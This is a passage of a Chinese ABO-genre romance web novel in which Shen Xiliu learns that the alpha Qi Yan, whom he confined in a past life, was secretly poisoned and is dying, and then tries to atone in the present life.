这个长辈向来为老不尊,没有品德,爱和人较劲,上一世的沈溪流就快和他斗成死敌,直到后来从他口中得知那段时间发生的一切,沈溪流就再也没有心力针对沈云殊,因为做错事情的代价太惨烈…… 【想死?】 沈云殊把绝望痛苦的沈溪流从床上扯了下来,丝毫不在意他是个刚抢救回来的病人,语气森冷。 【沈溪流,做错事情是要付出代价的,你把事情搞得一团糟糕,现在还想要用自杀逃避一切吗?】 只是想起那段时间,沈溪流就差点呼吸不过来,伸手搂紧祁厌的腰,藏住内心的恐慌:“……今晚可以陪我吗?” 祁厌觉得这样不好,但一看他的表情,又无意识地点了点头。点完头以后,才反应过来自己现在最好不要和别人待在一个房间,偏偏沈溪流根本不在意,也不想放开他,最后只能作罢。 希望今晚不会出事吧。祁厌是这样想的,他最近的精神状态越来越糟糕,吃了一些药,但是效果并不好。 之前本来是想和沈溪流当面说清楚跟踪监视的事情,却在见到沈溪流的舅舅之后,整个人都不太对劲,于是一拖再拖,迟迟开不了口…… 也不知道是那双金色重瞳太诡异,还是游弋乱唱乱吼的歌太洗脑,总让他想到一些奇怪的事情。 今晚本该是个不错的夜晚,沈溪流睡得很安心,远比前世每次做完之后,累到睡着更加安心。 偏偏睡到凌晨时,沈溪流的脖子处突然传来异样的感觉。 他下意识地睁开眼睛,还没能适应黑暗,只看见一个模糊的轮廓在上面盯着他,熟悉的温热手指缓慢地触碰着他的脖子,摩挲着抑制颈环和周边敏感的皮肤。 “祁厌……怎么了?”沈溪流的声音还带着朦胧睡意,他没有一点反抗地任由对方摸着自己的命脉。 “醒了?” 凉凉的话语响起,是熟悉的声线,却有些让人不寒而栗,沈溪流一下子清醒了过来,紧紧盯着祁厌。 他在打量他,模糊的轮廓显得有些神秘危险,带来陌生却又熟悉的气息。 “哈,居然把你标记了吗?” 黑暗中,祁厌笑了一声,听不出情绪,但下一句话足以让沈溪流坠入寒窟。 “真是恶心。” 第96章 前世 绝望 “人都带回来了?” 沈云殊正坐在自己位于研究所的办公室, 他一手拿着手机,一手翻看文件,略长的头发胡乱扎在脑后, 白色实验服敞开着穿,显得不修边幅。 他的办公桌上面更是堆积着乱七八糟的文件资料, 就连地面也散乱着纸张。 沈云殊被沈溪流坑走太长时间, 研究所不会因为缺少沈云殊而停止运行,一切看起来很好,但这只是表面上。 沈溪流做事向来谨慎, 很少出差错,沈云殊虽然不爽自己被他弄走,但是输了也就输了吧。反正回来以后, 他们还是天天内斗的“好舅甥”。 没回来之前, 沈云殊已经想好怎么对付他的好外甥,首先肯定是要表现得漫不经心,甚至有些享受;其次再用他以前说过的话来回击,谁让沈溪流总说什么反感alpha、这辈子都不会喜欢alpha、更不会被alpha标记之类的话;然后再…… 一套丝滑的连招打下来,沈云殊认为一定会让他的好外甥下不了台,抱着这样的报复想法回国, 结果迎来的不是舅甥内斗, 而是一大堆烂摊子。 弄清楚最近发生的事情, 沈溪流把他支开以后, 居然搞了这么多烂摊子, 沈云殊差点扭头出国。 他宁愿在国外和克里斯蒂安玩,也不想继续面对国内的现实。 可惜他哥不让,只能黑着脸进入研究所,把所有相关人员处理了, 包括他的得力助手沈清泽也没有放过。 如果不是沈清泽父亲第二天带着被打断腿的他过来,又有沈家主提醒,沈云殊才勉强没把他纳入清算的人群中。 “让你过去,结果连真相都不敢告诉他,你怎么不去死算了?”沈云殊皱着眉头听完沈清泽,冷声说道。 “很抱歉,是我太无能。”电话另一端的沈清泽道歉道,“当时事情闹得太大,家主对溪流哥用了镇定剂,我没有机会向他说清楚事情……” 真的闹得太大了,沈清泽这辈子都没想到自己居然能够看到那个沈溪流不管不顾地发疯,他不愿意放走祁厌,如果不是沈家主在场,说不定所有人都无法离开。 沈清泽也是第一次看见沈家主这么生气,甚至动手打了沈溪流,这是所有人都没有想过的事情。 就连要走的祁厌和江与青等人也看愣住了。 沈家主安排好他们离开的事情以后,就将沈溪流押进别墅里,没有让他继续在外人面前丢人现眼。 “行了,我亲自去解释吧。”沈云殊听得不耐烦,挂掉电话,起身大步向外走去,但刚走几步,又倒回来,拿起桌上的资料。 他回得很是时候,沈溪流已经醒来,并且在和沈家主吵架。 “舅舅!你为什么要放走他?你知不知道这样会破坏我的计划?明明这只是我和祁厌之间的事情,和你们所有人都没有关系,你不该插手进来,而且还帮助他们!” 沈溪流的神情病态而偏执,苍白的左脸被沈家主甩了很重的巴掌,更加显得极端偏激,他几乎快要失去理智,表情带着肉眼可见的愤怒与恐慌。 他愤怒自己最亲的长辈居然反过来帮助外人,让他喜欢的人离开他的身边,也恐慌着自己无法继续掌握局势,无法将祁厌控制在身边,这让他感到极度不安…… “沈溪流,你闹够了没有?”沈家主眉头紧锁,没想到自己劝阻的话,他一句都没有听进去,醒来以后的第一件事情,依然是发疯,这让他非常失望。 “你要不要看看你现在像什么,沈溪流,别逼我再给你一巴掌。” 在岛上的时候,沈溪流也是这样,使唤不了保镖,就想要自己上去拦住祁厌。沈家主看不下去,没忍住动手打了他一巴掌,试图让他清醒过来。 结果并不理想,沈溪流反而变得更加疯狂,甚至试图威胁他。 “我没有再闹。”沈溪流的表情极为矛盾,冷静又疯狂,漆黑的眼眸直直盯着沈家主,“我只是想要把祁厌留在我身边,这对您来说根本不算什么吧?为什么要插手我们的事情?按理说,您应该支持我和祁厌在一起的,我们的信息素匹配度是百分之百,本来就是天生一对,您之前不也赞同我和他在一起吗?为什么现在反而……” “因为江与青怀了他的孩子!” 沈家主直截了当地打断他的话,不顾沈溪流骤然变化的表情,一脸冷然地说道:“沈溪流,够了吗?” “那不是你的alpha,这事情也不是你一个人的事情。别那么丢人,你知不知道江与青上门来求我的时候,我有多羞愧吗?” 沈家和江家算是世家,江与青的父母和沈家主的关系也很好,起初沈家主不清楚小辈之间的感情纠纷。 现在知道以后,沈家主一想到朋友的孩子怀着孕找上门,原因是他的外甥把人家的alpha给绑架走了,上门是来谈放人条件时,他真的感到无比羞愧…… 听到沈家主的话,沈溪流呆立在原地,等反应过来以后,他的表情变得极端恐怖,猛地打翻了桌上的花瓶,碎片飞溅,几乎歇斯底里地吼着:“不可能!江与青怎么可能怀他的孩子!祁厌是我一个人的,他只能是我的alpha,舅舅你不要再骗我了,我知道的,祁厌不会让江与青怀上他的孩子!” 不该的!不该的!不该的!祁厌说过他结扎了,怎么可能让江与青怀孕,他们应该只是假情侣!江与青明明是喜欢顾燕行的,他凭什么要和祁厌在一起?!! “这种事情,我有必要骗你吗?”沈家主气笑了,“当初人就在你身边,是你自己不要的,现在他成了别人的alpha,你就别再惦记着,沈家丢不起这个脸。” “!!!” 听到这话,沈溪流没表达,他神经质地咬住手指,漆黑的瞳孔不断在震颤,大脑在飞快运转着思考。舅舅确实没必要在这点上欺骗他,一查就知道的事情,无法作为谎言欺骗,但是不对的,祁厌说过他结扎了,江与青就算怀孕,也不可能是祁厌的,可是……真的不可能吗? 恐惧与嫉妒几乎将沈溪流淹没,他们合同结束以后,祁厌就跟着江与青去国外了,这么长的时间,万一他们在那段时间里上床了呢?而且祁厌并没有说他是什么时候结扎,如果是在江与青怀孕以后,才去结扎的呢? “舅舅,几个月了?”沈溪流睁着漆黑空洞的眼眸,直勾勾地问道,“他怀了几个月?” 不可以的! 绝对不可以! 他不能容忍这种事情发生! 江与青不能有祁厌的孩子,否则这一切都完了! 他还有很多手段,只要双方都还活在这个世界,祁厌就永远都不可能逃出他的手掌心,只要那个还没诞生的孩子消失,他总有办法让祁厌回到他身边…… “……” 沈家主盯着他,冷静询问:“你还想做什么?” “我不想做什么。”沈溪流的表情显得病态而阴郁,苍白的脸色,鲜红的巴掌印衬托得他病弱无害,“您放心,我不会丢沈家人的脸……” “沈溪流,你给我正常点!”沈家主亲手养大他,怎么可能猜不出他的心思,“我是不是教过你,不要……” “行了,行了,聊了这么久,也没见有点进展。大哥,我劝你不要太宠爱他。” 房门被一脚踹开,沈云殊有些嚣张地走进来,表情冷淡,直到对上沈溪流阴郁的眼神,他才露出一个微笑。 “哟,几个月不见,我亲爱的外甥,你好像病得更加严重了,多亏你的大恩大德,我倒是长胖了好几斤。” “你来做什么?”沈溪流神情恹恹,没有任何表达。他早已不在乎自己曾经把沈云殊坑走的事情,就算现在他要找麻烦,也不放在心上。 “我来做什么?”沈云殊重复一遍,说,“来收拾你留下的超大烂摊子。” 沈溪流一脸漠然地撤回眼神,沈家主凝重的目光却落在沈云殊身上。 “别这样看我,你不觉得他太过分了吗?”沈云殊笑笑,拿着文件夹指着沈家主,“你也太过分了,这么宠溺他,算什么?我记得你不是这么宠孩子的人。” 沈家主无奈叹息:“……我只是想着慢一点再说,等他恢复冷静也好……” “都是废话。” 沈云殊不屑一笑,直接上前扯住沈溪流的衣领,不顾他怒视的表情,把他从沈家主旁边扯到自己面前,打量他脸上的巴掌印。 “打轻了,都没破皮,你就这么不舍得打吗?别这么瞪我,早晚有你跪着求我的一天。” 前半句是对沈家主,后半句是对着沈溪流说出来,沈云殊凉凉的视线透着镜片落在沈溪流脸上。 “我现在真应该给你一巴掌,给你个教训,但既然你舅舅已经打了,我就大人有大量地放过你吧。” “沈云殊!” 沈溪流被他扯住衣领的粗鲁行为激怒了,但还没回击,就被那一份文件夹砸中面颊,哗啦一声,里面的所有文件散乱下来。 “该死!你是故意来找事吗?我现在没心情和你闹……” 沈溪流的情绪不稳定,以为沈云殊是来还击的,结果话还没说完,视线触及散落一地的资料时,整个人顿时如遭雷击,无法动弹,就连话也说不出口了。 一行行字飞快映入眼帘,沈溪流急了起来,他的的表情逐渐变得惊恐起来,连一旁站着的沈云殊和沈家主都顾不上,动作急切地跪在地上,慌乱地捡起那些资料,纸张被翻得哗哗作响。 “不……不……怎么可能……” 沈溪流的呼吸逐渐变得沉重而急促,就连眼睛也瞪得极大,眼球上布满血丝,仿佛想要把每一页都看穿,额头甚至渗出汗水,死死咬着牙关,绝望与恐惧几乎从他身上溢出。 “不可能……不可能的……祁厌不会……不会的……他怎么可能会得……”沈溪流难以置信地低声喃喃,连声音都变得低哑,他的身体因为恐惧而颤抖,喉咙发出一声压抑的呜咽。 沈云殊瞥了一眼沈家主,他居高临下地盯着跪在地上的沈溪流,冷漠地揭穿这个事实:“没什么不可能的,你所看见的都是现实。” “谁让你蠢到被人耍了。” “你该庆幸,这次要死的人不是你,只是祁厌而已。” 他的语气凉薄,带着漫不经心的嘲讽,让沈溪流猛地抬起头来,他红着眼眶,眼底尽是恐惧,尖叫着道:“不!沈云殊你别想骗我!这些肯定都不是真的,祁厌不可能出事,他不可能得这种病……” 但,他真的不会出事吗? 沈溪流的大脑已经不受控制地回想起自己和祁厌相处的每一幕场景,太多值得怀疑的地方,可是他都不愿意怀疑。 其实他的理智已经相信了这份资料的真实性,但内心倔强地否决着。 如果祁厌真的如资料上所说,遇到这么糟糕的事情,那么之前所有想不清楚的问题都得到了答案。 他本以为自己不欠祁厌的,但现在看来…… 真发生这种事情后,祁厌没继续报复他,也称得上一句善良了。 但不可能,不可能,不可能…… 不可以的!!! 祁厌怎么可以出事?!! 泪水夺眶而出,眼泪滴落在纸张上面,沈溪流哭得有些狼狈,心脏像是被一只无形的手狠狠攥住,每一次跳动都伴随着剧烈刺痛,他差点喘不过气来,连浑身的力气都被抽空,根本无法站立起来。 “舅……舅舅,你告诉我,这份资料是假的,对吧?” 沈溪流无助地伸手抓住沈家主的衣角,带着一丝希冀地问道:“二舅舅是不是因为我对他做的事情,所以才故意用这种事报复我?祁厌他没事的,他肯定没事,对吧?” 沈家主轻轻叹了一声:“……抱歉。” 只是一句话,沈溪流整个人都安静了下来。 他的眼睛瞬间失去所有光彩,呆呆木木地睁着,如同一具没有灵魂的尸体,一切都变得空洞茫然,仿佛连时间都停止流动,这样就不用去面对恐怖的现实。 然而,人终究是无法逃避的。 僵硬的大脑仍然在思考,等意识到了残酷的真相以后,沈溪流的身体开始不受控制地剧烈颤抖,他无力地垂着头,嘴唇泛白哆嗦,瞳孔震颤地看着那些写满祁厌调查的纸张。 “……” 沈溪流张了张嘴,想要发出声音,喉咙却被堵住了,只有破碎的呜咽声响起,在死寂的房间里显得格外绝望痛苦。 他该死的。 为什么会错到这种地步? 第97章 前世 活该 沈溪流一直很了解自己的性格, 他对不在意的事物向来都是漠视的,不会轻易放进眼里,最开始的祁厌在他眼里也是这样的存在。 ——一个普通的、幸运的alpha。 因为他们的信息素匹配度高到不可思议, 所以祁厌有资格成为提取治疗他的“药物”的供体。 对的,只是提取“药物”的供体, 合同上也明明白白地写着这一行字。 ……太糟糕了。 沈溪流心想, 真的是一个糟糕透顶的开端。 最开始,沈溪流对祁厌根本没有任何兴趣,只想让他认清楚自己的定位, 不要产生不该有的想法。 原本,他甚至不想正面和祁厌接触,只是在这一点上, 沈云殊太强势, 非要让祁厌住进他的房子里,还扯了一大堆乱七八糟的道理。再加上舅舅让他配合,沈溪流才不得不同意,却也根据自己的生活习惯定下一大堆对乙方不友好的规定。 不仅仅是没将祁厌放在眼里,甚至多有蔑视与不耐,沈溪流顶多维持着表面一层虚假客气, 当然, 更多的是无视。 沈溪流从未想过自己会喜欢上对方, 毕竟这么糟糕的人, 他怎么可能会喜欢上?他连沈云殊给的资料都不想看下去, 但考虑到自己身体情况,还是耐着性子大概看了一遍,结果自然是更加反感这个人。 与易家无关,只是对祁厌滥情的过去感到恶心, 甚至想要就此作罢,可惜长辈不会轻易同意,于是只能开始了…… “你的胆子是真的很大,居然敢用假性标记欺骗我。”沈云殊的表情很冷淡,当初不是没有感到奇怪,以沈溪流的性格,怎么可能这么轻易在一个月内,同意被祁厌标记? 如果不是被沈溪流用手段支开,他只要是在国内的话,或许早就发现沈溪流的计划,能够提前阻止这一切的发生。 可惜这个世上没有如果。 “人体的确容易被欺骗,大脑也一样,当你的躯体习惯假性标记以后,其实永久标记和假性标记之间,几乎没有太大的区别,尤其是你们的匹配度还是99.98%。” 沈云殊的镜片泛着白光,继续说道:“要说唯一的区别,大概就是原本属于你的alpha永远都不可能再真正的标记你,而被假性标记误导以后,你也无法得到真正的标记,再也不会被任何alpha标记,怎么样,高兴吗?以后不用再担心被别人标记了。” 他笑得有些嘲讽,眸底压抑着怒火,看着沈溪流苍白的脸色,还有心情说:“你该高兴的,沈溪流,你喜欢上祁厌,或许只是被omega的本能欺骗了。等假性标记清洗干净以后,你大概就能恢复理智,到时候,说不定还会觉得自己这段时间的行为真是荒唐……” “……” 沈溪流的眼睛有些空洞,他已经完全不在意沈云殊说的话,也无需向别人证明自己是真的喜欢祁厌,或许有信息素的诱导,有假性标记的原因,可他很清楚,他是出于本能和理智地喜欢着祁厌。 但现在说什么都没有用了,他幻想过他们之间的无数个结局,甚至幻想过自己的死亡,能不能给祁厌留下刻骨铭心的记忆…… 反正,在这无数个结局里,沈溪流一次都没有想过,祁厌会死! 他怎么可以死! “啧。”发现沈溪流根本听不进去这些话,沈云殊轻啧一声,翻开资料,“我查看过你们进行假性标记那段时间留下的身体数据情况,说实话,对方很聪明,你也很蠢。” “陈小舟担心被人发现,所以少量多次地给祁厌注射信息素摧毁剂,结果你就一点真的没有发现吗?” 沈云殊念了一个时间出来,甚至精准到几月几号几点钟,他感到有些不可思议,陈小舟的胆子很小,肯定会露出破绽,以沈溪流的性格,怎么可能发现不了不对劲的地方? “这是他第一次动手,我听说,你当时也在场,居然真的没注意到吗?” 听到这个时间点时,沈溪流瞳孔猛然收缩,一股刺骨的寒意侵袭入体,他……记得这个时间点! 那是他和沈湘婷、易扬第一次在餐厅遇见祁厌和江与青,因心底的微妙情绪,所以导致冷场下来后,他给祁厌发信息,让他三点必须回来,进行信息素抽取…… 真的是特别可笑,当时他就站在外面冷眼旁观祁厌被抽取信息素,甚至看到祁厌疼到流冷汗,扣不上衬衫扣子时,只觉得他真蠢。抽个信息素而已,装什么装,真疼的话,那也是活该,谁让他惹自己不高兴了…… “哈……哈哈。” 沈溪流没忍住笑了出来,笑容极其难看荒诞,就连笑声也裹挟着绝望,好似灵魂都被痛苦碾碎,只能拼凑出扭曲的灵魂。他疼得蜷缩着颤抖,眼泪在不受控制地滑落,朝着沈云殊低下了头:“……是我的错,是我的错……舅舅,求你,求你了……救救他吧……” 恐怖的现实终将是要面对,就连空气都弥漫着压抑绝望的崩溃气息。 说到底,还是当时的他不够在意,不够喜欢,习惯漠视一切,反正祁厌怎么样都和沈溪流无关。 所以……即使察觉到了又怎么样? 他坐视了祁厌被人注入信息素摧毁剂,根本没有放在心上,倒不如说现在想起来时,沈溪流恨不得回到过去,亲自杀了自己! 为什么你要一脸冷漠地看着他被抽取信息素啊?明明你那时已经喜欢他了!真是太糟糕了,太烂了,为什么自己会让这种事情发生啊? 沈溪流真的好想死,想用最痛苦的方式杀死自己,仿佛只有这样才能从绝望的折磨中挣脱出来,他甚至不敢回忆当时的场景,偏偏又自我惩罚地不断回忆着,太可怕了! 一想到信息素摧毁剂就在他眼底打入祁厌的体内,沈溪流就喘不过气来,几欲昏迷过去,却又不愿意从痛苦解脱,毕竟凭什么啊?一想到祁厌的遭遇,他就该继续被折磨着! “……” 沈云殊还是第一次看见沈溪流对他低头,露出这种样子。 “……我也没办法。” 他沉默了半晌,叹了口气。真的没有办法,如果早点发现的话,或许还有救,可是太晚了,真的太迟了。 沈云殊刚拿到祁厌的检查报告时,就知道没救了。 信息素摧毁剂将祁厌的腺体彻底破坏病变,进入信息素暴动症的后期,他的alpha腺体已经坏死,就连神经中枢也被破坏了…… 信息素暴动症如果是在前期的话,多花一些钱还是能救的,反正他们沈家最不缺的就是钱。可信息素暴动症一旦进入后期,那就真的无药可救,就连寿命最多也只剩下两三年了。 “你囚禁他的那段时间,他有吃药吗?”沈云殊问道,“你应该知道患有信息素暴动症的患者,如果不吃药的话,就连一年都活不到,他们的腺体出现问题,大脑也产生病变,大部分人甚至没活到最后,就会在发病的时候选择……自杀。” 最后两个字如残酷的重锤般落下,沈溪流被心中的巨石压得喘不过气,优越的记忆让他想起在岛上的那段相处的点点滴滴,真的有太多不对劲的地方,不过……祁厌有吃药吗? ……好像没有。 他只带了一瓶维生素,或许里面的药片就是治疗信息素暴动症的药物,但是沈溪流看过一眼,里面没有多少了,根本不够吃。 本以为那段时间里,最受折磨的是自己,结果没想到他肆意妄为的罪恶都将被祁厌承担,祁厌……会自杀吗? 不会吧?明明祁厌是一个很热爱生活的人,他知道的!祁厌不是那种轻言生死的人,从小到大,无论他的母亲和易家那边给他带来多大的痛苦,他仍然面对着冷漠的现实活了下来,他不会轻易去死的。 可是大部分信息素暴动症的患者,几乎可以说是95%左右,都是选择了自杀身亡,其中也不乏乐观向上者,可是一旦发病,就会变得像另一个人,然后失控地做出自己以前从来不会做的事情…… 想到这里,沈溪流艰难地站了起来,犹如惨白的游魂般向外走去,呼吸急促而沉重,不行,他不能让祁厌死掉,绝对不能! “沈溪流,你要去哪里?” 沈云殊问他,却没有得到回答。 “溪流,你想做什么?”终究还是沈家主抓住了沈溪流的手,阻止他乱来。 被拽住的沈溪流没有像刚才那样发疯,漆黑的眼睛缓慢地转动到沈家主的脸上,嘶哑着声音说道:“……我、不能让他死,我要想办法救他,我还得想办法赎罪……” 是的,他必须要救祁厌,还要想办法赎罪,他不能让祁厌死掉,原先所有的疯狂偏激想法都在这一刻消泯。现在的沈溪流只剩下这两个想法了,祁厌会不会和他在一起,一切都不重要了,他只要祁厌活着,就算一辈子不原谅他也无所谓,只要他活着…… …… “不知道的人,还以为你断的是腿,而不是手受伤呢。” 穿着病人衣服的祁厌悠闲地坐在轮椅上,右手重新缠绕绷带,左手拿着红苹果啃,张衡一正一脸无语地推着他在医院里的院子晒太阳。 “折腾太长时间了,有点累,就劳烦你了。”祁厌啃着苹果,笑呵呵地说着,“易鸿立那边怎么样?进行得还算顺利吧?” 他本来想要亲自参与易家的案子,但是奈何这段时间实在是太忙碌,事情多到他抽不出时间,于是只好作罢。 “一审死刑。”张衡一把他推到一旁,自己坐到休息长椅上,简略说道,“接下来,不出意外的话,二审的结果也一样。” 局势已定,易鸿立必死无疑,易家名下的所有产业也已经被查封,现在只剩下个易扬在外走动,拼命想要救他爸,但就连沈家都不愿意出手,其他人又怎么可能帮忙。听说就连沈湘婷和她刚出生的孩子,最近都被接到父母的房子里,不准再和易扬住在一起。 说不定再过不久,这两人就要离婚了。 祁厌道:“那就好,二审的话,我一定会看的。” 这话说完,张衡一沉默半晌,犹豫地开口道:“关于你的病……” “暂时别告诉与青。”祁厌咬着苹果说,“他最近的状态也不好,这孩子太闹了。” 还没出生,就让江与青吐得昏天黑地,差点住进医院,成为他的床友。 “……好吧,你说了算。”张衡一其实不赞同什么事情都瞒着江与青,但是一想到他的身体状况,还有祁厌遇到的一切,仔细想想,其实瞒着也不算什么坏事,有些事情,如果说出来的话,真的太痛苦了。 他们在院中聊了没有多久,太阳逐渐移动,身后的树挡住阳光,张衡一看了眼手表,说时间不早了,他还得上班,祁厌也该回病房时,一道清瘦的身影走到了他们的面前。 “!” 刚一抬眼看清楚来人,张衡一就拧紧眉头,脸上多了一丝防备。 但来人的目光却丝毫没有分给他,全部落在祁厌的身上,脸色苍白地开口:“祁厌……你的腿怎么了?” 祁厌怎么会受伤到坐轮椅?他明明记得祁厌和他分开时,身上并没有受伤的!沈溪流大脑一片空白,如同生锈的齿轮无法转动。 “……” “……” 无论是祁厌还是张衡一都没有开口,空气诡异静止几秒钟。 祁厌垂下眼帘,将果核扔进垃圾桶里,若无其事地从轮椅上站起来,左手抓住轮椅,对张衡一笑道:“老张,我们走吧。” “该回病房了,马上就快要到护士查房的时间,再不回去,她又要凶我们了。” “……嘶,那护士老凶了!”张衡一夺过他手里的轮椅,“残疾人滚一边去,讲真的,祁厌,你就不能和与青商量一下,换个护士吗?她凶你也就算了,为什么连身为路人的我也要被他凶啊?太过分了!” “要不是好A不和O斗,我真的想要骂回去,真当我好脾气啊?” “你不敢,我就敢了?与青凶起人也很吓人啊,我才不要。” 他们说说笑笑地离开,从头到尾没有多瞥沈溪流一眼,只有沈溪流傻傻地站在原地,无法动弹。 他不知道怎么形容自己的感觉,只觉得有一种诡异的冰冷将他包裹住。 被祁厌无视的痛苦,仅次于知道真相时的绝望。 他不明白,为什么祁厌可以做到这么平静? 但凡祁厌一脸愤怒厌恶地上前骂他打他,而不是一脸淡漠的无视,仿佛他们从来不认识,只是陌生人,沈溪流都能从窒息中掠夺到一丝空气,而不至于彻底沉溺于绝望的深渊中,再也爬不出来。 “……祁厌,我会想办法尽量把欠你的弥补上。” 虽然可能都没有任何用,你也不会在意,但是我会做好的。 沈溪流没有动弹,也不敢像之前那样发疯,一直盯着祁厌的背影,直到彻底消失不见。他伸手摸着自己被信息素抑制颈环扣住的后颈,情绪渐渐稳定下来,低声喃喃着。 原来他的腿没有受伤啊,那就好,那就好…… 接下来,他得想办法帮祁厌治病,也得想办法弥补,还得……让所有伤害过祁厌的人付出代价! 漆黑黯淡的眼底一片冰冷的寒意,沈溪流的肩膀微微颤抖,他咬紧手指,眸光落在自己的影子上,他心想:所有人,一个都不能放过,包括我自己也不行…… “呵呵,都是活该的人。” 沈溪流神经质地笑了笑,整个人都散发着扭曲疯狂的气息,即使站在阳光底下,也让人不寒而栗。 第98章 前世+现世 道歉 “昨晚没休息好吗?”祁厌观察着沈溪流的脸色, 比昨天苍白很多,就连气色都不好看,皱眉问道, “是不是我打扰到你了?” 他就觉得不能和沈溪流一起睡,不知道是说梦话还是梦游, 导致睡在一起的沈溪流没休息好。 “不是的!”沈溪流下意识摇头否认, 露出一个牵强的笑容,“和你没关系,是我自己的问题。” 他不想在这个问题多说下去, 看着时间催祁厌赶紧吃早餐。 今天是星期六,沈溪流不用去上班,但祁厌在学校还有很多事情, 他和导师约定好, 八点在实验室见面,所以只能暂时把心底的问题压住,晚上再谈。 “那我就先走了。”祁厌吃完早餐收拾好东西,看着目送他离开的沈溪流,犹豫一瞬,还是走上去, 轻轻亲了他一下, “今天好好休息, 你这气色太差了。” 明明家里的仪器检查出来的情况挺好, 但祁厌总觉得沈溪流的情况和仪器检查出来的不一致, 或许……得去研究所或者医院检查一遍。 他带着许多想法离开了沈溪流的家,门轻缓合上,沈溪流无意识地摸着自己的额头,亲吻的触感还残留着, 他该高兴的,可是一想到昨晚的“噩梦”,他就高兴不起来。 “……” 就连身体也在颤抖,沈溪流无力地坐在沙发上,伸手捂住自己的口鼻,避免呼吸过度,像这一世和祁厌“初次”见面时一样难堪。 原本是打算以更好的姿态去与祁厌相遇,结果没想到这么狼狈,好在后面的发展没有太糟糕,祁厌终究是回应他了。 结果现在好像又要走回去上一世的道路了。 “该怎么办?我接下来该怎么办?”沈溪流难得有些迷茫,祁厌的记忆好像快要恢复了。 不行,不能坐以待毙,他必须想个办法! 沈溪流努力冷静下来,开始寻找对策,他也想过让这一世的祁厌标记他,想办法怀孕。 但不说祁厌不想做这种冲动的事情,他在前世已经用过这种办法,现在再用的话,等祁厌恢复记忆,一定会想起前世被囚禁的那段经历。 到时候,祁厌只会觉得恶心,觉得他还是那个卑鄙无耻的人,将前世的他害得这么凄惨,现在又重蹈覆辙,根本没有任何变化。 更何况,这一世的祁厌根本不缺爱,无论是母亲还是外公外婆、舅舅舅妈,乃至于弟妹都在身边,家庭幸福圆满,就算他用孩子威胁,祁厌也未必会那么重视他的孩子…… “冷静,我需要冷静下来。” 沈溪流站起身,下意识啃着手指,走进祁厌好奇的那间屋子里,只有待在那里,他才能克制自己的冲动,不再继续做错事情。 昏暗的房间是全封闭的,连窗户都被封死了,沈溪流把门关死,打开灯光,躺到地毯上,这里四面八方乃至于天花板上都填满密密麻麻的照片。 “这一世已经有很多事情改变了,我们未必会再走上死路。” 沈溪流望着天花板的照片,有祁厌从小到大的所有照片,看着这些照片,能够明白地看见一个人的成长道路,他的思维渐渐变得清晰。 对的,这次已经不一样了,祁厌的性格这么好,就算恢复记忆,只要看见他做出的改变,肯定会原谅他…… 所以,他绝对不能自乱阵脚,也不能自作聪明地去威胁祁厌,现在最好什么都不要做! 沈溪流很冷静地思考着,漆黑的眼眸却阴郁得可怕,微微震颤的瞳孔,好似依然带着许多不确定性。 …… ………… 【“我知道这是犯法的,我也不想的,可是……可是……真的很对不起!” 他也不想做这种错事的,可是父亲的债务都堆积在他头上,导致他的压力实在是太大,明明好不容易坚持这么多年,上了名校,一路顺利读研读博,还进入了梦寐以求的PHY科学研究所,偏偏这时候追债的人追到了他的头上。 如果他不还的话,对方放话会砍断他的双手,彻底毁掉他的未来! 陈小舟没有选择,他原先是真的不敢,犹豫了很久,但对面一直在加码,并且明里暗里地威胁他,做的话不仅能拿到钱,不做的话,他一定会失业。 易鸿立很聪明,从来没有主动出现在陈小舟的面前,却间接通过沈湘婷利用沈清泽,给陈小舟施压,误以为沈清泽是他那边的人。 这样一来,性格本就内敛胆怯的陈小舟就被威胁住了,他考虑很久,发现沈三少根本没把那个名叫祁厌的alpha放在眼里,即使抽取信息素也从来不在一旁看着,这让他有些蠢蠢欲动。 反正沈三少也没有把这人放在眼里,那为什么不做呢? 他可是知道的,祁厌只是个普通人,没有任何背景,他就连大学都没有读过,早早就出来混社会,还在酒吧那种混乱的地方工作,一看就不是个正经人! 偏偏他的运气很好,信息素匹配度和沈三少那样高高在上的人达到惊人的99.98%,所以只是抽点信息素就能拿到三千万,真的很难不让人羡慕,又忍不住嫉妒,遗憾自己没有这种天降好运。 明明那家伙这么普通,除了外貌优越一些,什么都比不上他…… 无论是学历、智慧、背景在陈小舟看来都很糟糕,甚至可以称得上社会的米虫,没有为社会做出任何贡献,偏偏这样的人能够靠着运气轻轻松松赚取三千万! 陈小舟多少有些嫉妒心理,或许就是因为这种心理,再加上易鸿立以金钱诱惑,以未来为威胁,而研究所里向来喜欢把控一切,最危险的沈云殊又不在,现任的负责人沈清泽痴迷于研究,不会面面俱到…… 当然,最关键的还是沈溪流的态度! 他根本没把祁厌放在眼里,陈小舟听说沈三少只是把那名好运的alpha当做提取信息素的供体,将这人视若无睹时,心里更是激动。 他知道,机会来了。 反正沈三少也不在意祁厌,那么他只要小心一点动手,保证不在这个阶段出事,那么事后谁也查不到是他在动手脚! 一切都很好,牺牲一个普通人,换取更有价值的他,非常值得。 “真是荒唐又可笑。” 沈溪流从地下室走出来的时候,脸上还沾着血,他面无表情地用手帕擦拭着手上沾着的血,陈小舟该死,但更该死的是他。 如果他当时更加重视祁厌,注意到那天的不对劲的话,说不定一切都不会发生了。 陈小舟是个胆小鬼,那天准备下手时,看见沈溪流在场时,已经吓得六神无主,甚至产生退缩的想法了。 “我当时已经想要向您说出来了!”陈小舟惨叫着说,他当时真的后悔了! 但凡沈溪流多看陈小舟几眼,以他胆小的性格,或许已经跪到沈溪流的脚边,把所有事情都一股脑地说出来。 可惜,没有如果,沈溪流没发现他的不对劲,陈小舟顶着惊恐的心理,将信息素摧毁剂打入祁厌的体内了。 从那时候开始,就再也没有回旋的余地。 扣下来的所有罪人终究是被沈溪流亲手处理了。 这一次,他没有逃避,略过一些血腥的事情,其余全部整理成册,隔了半个月以后,专门找了个其他人都不在的时间,亲自送去医院。 “……所有人都已经受到应有的惩罚,一切都是我的态度导致的,如果你要报复,想要对我或者其他人做什么都行,你的……病。”沈溪流有些窒息地说,“我也会想办法救你,国外有不少研究所在信息素暴动症方面有所突破,我二舅舅已经出国……” 就算治不了,但也能尝试着减缓痛苦,延长这短暂得可怜的生命。 沈云殊很厌蠢,尤其是像沈溪流这样蠢的人,他离开前,已经骂了他无数次,但还是捏着鼻子收下这个烂摊子,为此花着人情,四处奔波,帮祁厌想办法。 “……” 祁厌没有说话,也没有抬头看他一眼,只是坐在太阳下的长椅,微微低头玩着手机,对一旁的沈溪流彻底视若无睹。 别说是陌生人了,这态度甚至已经明摆着当他不存在。 沈溪流很想哭,但是他没有资格感到委屈,把所有事情都向祁厌说完,他又压抑着痛苦,低声道歉。 